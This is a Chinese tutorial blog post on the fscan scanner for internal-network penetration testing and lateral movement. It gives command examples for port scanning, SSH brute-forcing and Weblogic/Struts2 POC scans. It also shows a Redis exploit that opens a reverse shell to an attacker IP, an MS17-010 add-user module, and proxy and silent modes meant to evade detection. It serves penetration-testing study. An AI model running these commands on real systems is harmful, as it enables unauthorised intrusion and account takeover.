当前位置: 首页 > article >正文

Fscan内网横向工具

Fscan在内网横向的应用

工具简介

Fscan是一款跨平台的轻量级网络扫描工具,它在内网渗透测试中表现出高准确度和快速的信息收集能力,尤其适合内网环境使用,能够独立完成扫描任务,同时探测弱口令和已知漏洞,为横向移动提供情报支持,尽管在互联网环境中扫描速度较慢,但总体上是一款高效的内网扫描工具。

实战常用用法

1. 多目标扫描与跳过特定目标

如果有多个目标需要进行扫描,并且希望跳过某些特定的 IP 或子网,可以使用 -hf 参数从文件中读取目标 IP,并使用 -hn 跳过特定的 IP 范围。

用法:

假设有一个包含多个目标 IP 地址的文件 targets.txt,不想扫描某个特定的 IP 范围(例如 192.168.1.50/24):

fscan -hf targets.txt -hn 192.168.1.50/24 -t 500 -o multi_target_scan.txt

  • -hf targets.txt:从文件 targets.txt 中读取目标 IP 列表。
  • -hn 192.168.1.50/24:跳过 IP 范围 192.168.1.50/24
  • -t 500:设置 500 个线程进行扫描。
  • -o multi_target_scan.txt:将扫描结果保存到 multi_target_scan.txt 文件中。

2. 特定端口扫描

如果只需要扫描某些特定的端口,且不想扫描所有默认的端口,可以通过 -p 参数来指定要扫描的端口。比如,扫描 80 和 443 端口:

用法:

fscan -h 192.168.1.10 -p 80,443 -t 100 -o specific_ports_scan.txt

  • -p 80,443:只扫描 HTTP 和 HTTPS 端口。
  • -t 100:设置 100 个线程进行扫描。
  • -o specific_ports_scan.txt:将结果保存到 specific_ports_scan.txt 文件中。

3. 跳过密码爆破

在某些情况下,如果不希望进行密码爆破攻击(如 SSH 或 FTP 密码爆破),可以使用 -nobr 参数来跳过这些步骤。

用法:

fscan -h 192.168.1.10 -m ssh -nobr -o no_bruteforce_scan.txt

  • -m ssh:指定扫描 SSH 服务。
  • -nobr:跳过 SSH 密码爆破步骤。
  • -o no_bruteforce_scan.txt:保存扫描结果。

4. 利用代理进行隐匿扫描

在某些情况下,尤其是在进行漏洞扫描时,可能需要通过代理隐藏真实的 IP 地址,避免被目标检测到。可以通过 -proxy 参数设置 HTTP 或 SOCKS5 代理。

用法:

fscan -h 192.168.1.10 -proxy http://127.0.0.1:8080 -t 300 -o proxy_scan.txt

  • -proxy http://127.0.0.1:8080:通过指定的 HTTP 代理进行扫描。
  • -t 300:设置 300 个线程。
  • -o proxy_scan.txt:保存扫描结果到 proxy_scan.txt 文件中。

使用的是 SOCKS5 代理,可以使用:

fscan -h 192.168.1.10 -socks5 socks5://127.0.0.1:1080 -t 300 -o socks5_proxy_scan.txt

5. Redis 漏洞利用与反向 Shell

如果 Redis 服务没有进行授权控制,并且希望上传 SSH 公钥并通过 Redis 反弹一个 Shell,可以使用 -rf 参数上传公钥文件,并使用 -rs 配置反向连接的 IP 和端口。

用法:

fscan -h 192.168.1.10 -m redis -rf id_rsa.pub -rs 192.168.1.100:6666 -t 200 -o redis_shell.txt

  • -m redis:指定扫描 Redis 服务。
  • -rf id_rsa.pub:指定 Redis 服务的公钥文件。
  • -rs 192.168.1.100:6666:配置反向 Shell 的 IP 和端口。
  • -t 200:设置扫描时的线程数为 200。
  • -o redis_shell.txt:将扫描结果保存到 redis_shell.txt

6. Web POC 漏洞扫描与特定漏洞利用

如果已知目标存在特定的 Web 漏洞(如 SQL 注入、XSS、Weblogic 漏洞等),可以使用 -pocname-pocpath 参数来指定漏洞的名称或路径。你还可以通过 -num 参数调整发包速率,控制扫描的速度。

用法:

fscan -h 192.168.1.10 -pocname weblogic -num 50 -t 100 -o weblogic_vuln_scan.txt

  • -pocname weblogic:指定 Weblogic 漏洞的 POC 名称。
  • -num 50:设置每秒发包的数量为 50。
  • -t 100:设置线程数为 100。
  • -o weblogic_vuln_scan.txt:将扫描结果保存到 weblogic_vuln_scan.txt

7. Web 扫描超时配置

如果目标网站响应较慢,可能需要增加超时时间,以避免扫描中断。使用 -wt 参数调整 Web 访问的超时时间。

用法:

fscan -h 192.168.1.10 -wt 10 -t 200 -o long_timeout_scan.txt

  • -wt 10:将 Web 访问超时时间设置为 10 秒。
  • -t 200:设置 200 个线程进行扫描。
  • -o long_timeout_scan.txt:将扫描结果保存到 long_timeout_scan.txt

8. 执行自定义 SSH 密钥认证

如果目标需要使用 SSH 密钥进行连接,而非普通的用户名和密码,可以通过 -sshkey 参数指定 SSH 私钥进行认证。

用法:

fscan -h 192.168.1.10 -m ssh -sshkey ~/.ssh/id_rsa -o ssh_key_auth_scan.txt

  • -m ssh:扫描 SSH 服务。
  • -sshkey ~/.ssh/id_rsa:使用指定的私钥文件进行 SSH 认证。
  • -o ssh_key_auth_scan.txt:将扫描结果保存到 ssh_key_auth_scan.txt

9. 特定端口爆破

如果仅对特定端口进行暴力破解(例如 SSH 或 FTP),可以使用 -p 来指定端口,同时使用 -user-pwd 参数指定暴力破解的用户名和密码。

用法:

fscan -h 192.168.1.10 -p 22 -user admin -pwd password123 -t 200 -o ssh_bruteforce.txt

  • -p 22:指定扫描端口为 SSH(22)。
  • -user admin -pwd password123:指定暴力破解的用户名和密码。
  • -t 200:设置扫描线程数为 200。
  • -o ssh_bruteforce.txt:将扫描结果保存到 ssh_bruteforce.txt 文件中。

10. 强力并发扫描与速率控制

对于需要进行高强度并发扫描的任务,可以设置较高的线程数 -t 和发包速率 -num。不过,这些设置可能会对目标系统造成压力,因此需要适度配置。

用法:

fscan -h 192.168.1.10 -t 1000 -num 100 -o high_concurrent_scan.txt

  • -t 1000:使用 1000 个线程进行并发扫描。
  • -num 100:设置每秒 100 个 Web 请求发包速率。
  • -o high_concurrent_scan.txt:将扫描结果保存到 high_concurrent_scan.txt

11. 结合定制字典的暴力破解

在执行密码爆破时,可以根据目标环境特点(如常用用户名或密码模式)使用自定义字典或在默认字典上追加字典内容。通过 -usera-pwda 参数,可以快速追加特定用户名或密码,增加破解效率。

用法:

fscan -h 192.168.1.10 -m ssh -usera root,admin -pwda password,123456 -t 300 -o custom_dict_bruteforce.txt

  • -usera root,admin:追加用户名 rootadmin 到字典中。
  • -pwda password,123456:追加密码 password123456 到字典中。
  • -m ssh:指定针对 SSH 服务进行爆破。
  • -t 300:设置 300 个线程并发扫描。
  • -o custom_dict_bruteforce.txt:保存结果。

通过定制字典,可以更精准地匹配目标的登录凭据,避免浪费扫描时间。

12. 大规模扫描中的跳过与动态添加

在大规模网络扫描中,可能需要动态调整扫描策略,例如跳过特定端口或动态添加目标端口。

用法:

fscan -h 192.168.1.0/24 -pn 139,445 -pa 3389,5900 -t 800 -o dynamic_network_scan.txt

  • -h 192.168.1.0/24:扫描整个子网。
  • -pn 139,445:跳过 SMB 常用的端口 139 和 445。
  • -pa 3389,5900:动态添加 RDP 和 VNC 的端口 3389 和 5900。
  • -t 800:设置高并发扫描。
  • -o dynamic_network_scan.txt:保存结果到 dynamic_network_scan.txt

这种方式适用于调整扫描范围和策略,避免重复无效的扫描。

13. 多模式混合扫描

fscan 支持一次执行多个模式的扫描(如存活探测、端口扫描、漏洞检测等),并可以通过跳过部分模块加速任务。

用法:

fscan -h 192.168.1.10 -m all -nopoc -nobr -t 400 -o mixed_scan.txt

  • -m all:同时执行存活探测、端口扫描和爆破。
  • -nopoc:跳过 Web POC 的漏洞扫描。
  • -nobr:跳过所有密码爆破模块。
  • -t 400:设置 400 个线程。
  • -o mixed_scan.txt:将扫描结果保存到 mixed_scan.txt 文件。

这种混合扫描可以快速获取系统信息,而无需针对所有模块逐一执行。

14. 快速漏洞定位与利用

在企业内网渗透测试中,快速发现和利用高危漏洞(如未授权访问、Weblogic 漏洞等)可以极大提高效率。通过指定 POC 模糊名称快速扫描相关漏洞。

用法:

fscan -h 192.168.1.20 -m web -pocname struts2 -t 200 -o struts2_scan.txt

  • -m web:指定扫描 Web 服务。
  • -pocname struts2:指定 POC 模糊名称为 struts2,快速定位相关漏洞。
  • -t 200:使用 200 个线程。
  • -o struts2_scan.txt:保存结果。

如果已知特定 POC 存在,可以直接指定路径:

fscan -h 192.168.1.20 -m web -pocpath ./pocs/weblogic_poc.py -t 200 -o poc_path_scan.txt

15. 结合定制模块实现攻击链

通过 -sc 参数,可以使用自定义模块(如 MS17-010 的 Shellcode)完成漏洞利用和后续操作。

用法:

fscan -h 192.168.1.30 -m smb -sc add -t 300 -o smb_exploit.txt

  • -m smb:扫描 SMB 服务。
  • -sc add:使用内置的 MS17-010 漏洞模块添加用户或进行其他操作。
  • -t 300:使用 300 个线程并发扫描。
  • -o smb_exploit.txt:保存结果。

16. 结合静默扫描避免检测

在攻击敏感目标(如防御严格的企业)时,可以通过 -silent 参数执行静默扫描,避免因回显流量过多触发检测。

用法:

fscan -h 192.168.1.10 -silent -t 200 -o silent_scan.txt

  • -silent:启用静默模式,不打印扫描结果到控制台。
  • -t 200:设置扫描线程为 200。
  • -o silent_scan.txt:保存扫描结果到文件。

17. 分布式协同扫描

在需要覆盖大量目标的情况下,可以通过拆分目标文件并分布式运行 fscan,然后合并结果。

实现:

拆分目标文件

  1. split -l 1000 targets.txt target_part_
    • 每 1000 行拆分一个文件。
  1. 多实例扫描: 在不同机器上运行:
fscan -hf target_part_aa -t 300 -o result_part_aa.txt
fscan -hf target_part_ab -t 300 -o result_part_ab.txt

合并结果</


http://www.kler.cn/a/440848.html

相关文章:

  • Ansible Playbook 简介
  • 三维移动游戏
  • C++智能指针详解
  • 3D Gaussian Splatting for Real-Time Radiance Field Rendering-简洁版
  • 05、SpringMVC全注解开发
  • 音频声音太小怎么调大?调大音频声音的几种方法
  • STM32-笔记1-点亮led灯
  • sqlilabs靶场二十一关二十五关攻略
  • app的测试范围以及web和app的测试区别
  • 搭建Tomcat(二)--反射的应用
  • 详细描述一下 Elasticsearch 更新和删除文档的过程。
  • 在VScode中对R语言进行环境配置
  • 沈剑-架构师训练营
  • Mongodb 集群搭建
  • 项目二十三:电阻测量(需要简单的外围检测电路,将电阻转换为电压)测量100,1k,4.7k,10k,20k的电阻阻值,由数码管显示。要求测试误差 <10%
  • k8s+rancher配置滚动发布更新时服务不可用
  • STM32--IO引脚复用
  • 留学论文Introduction辅导:论文开头introduction怎么写
  • 19. 【.NET 8 实战--孢子记账--从单体到微服务】--记账模块--收支记录
  • OpenShift 4 - 多云管理(2) - 配置多集群观察功能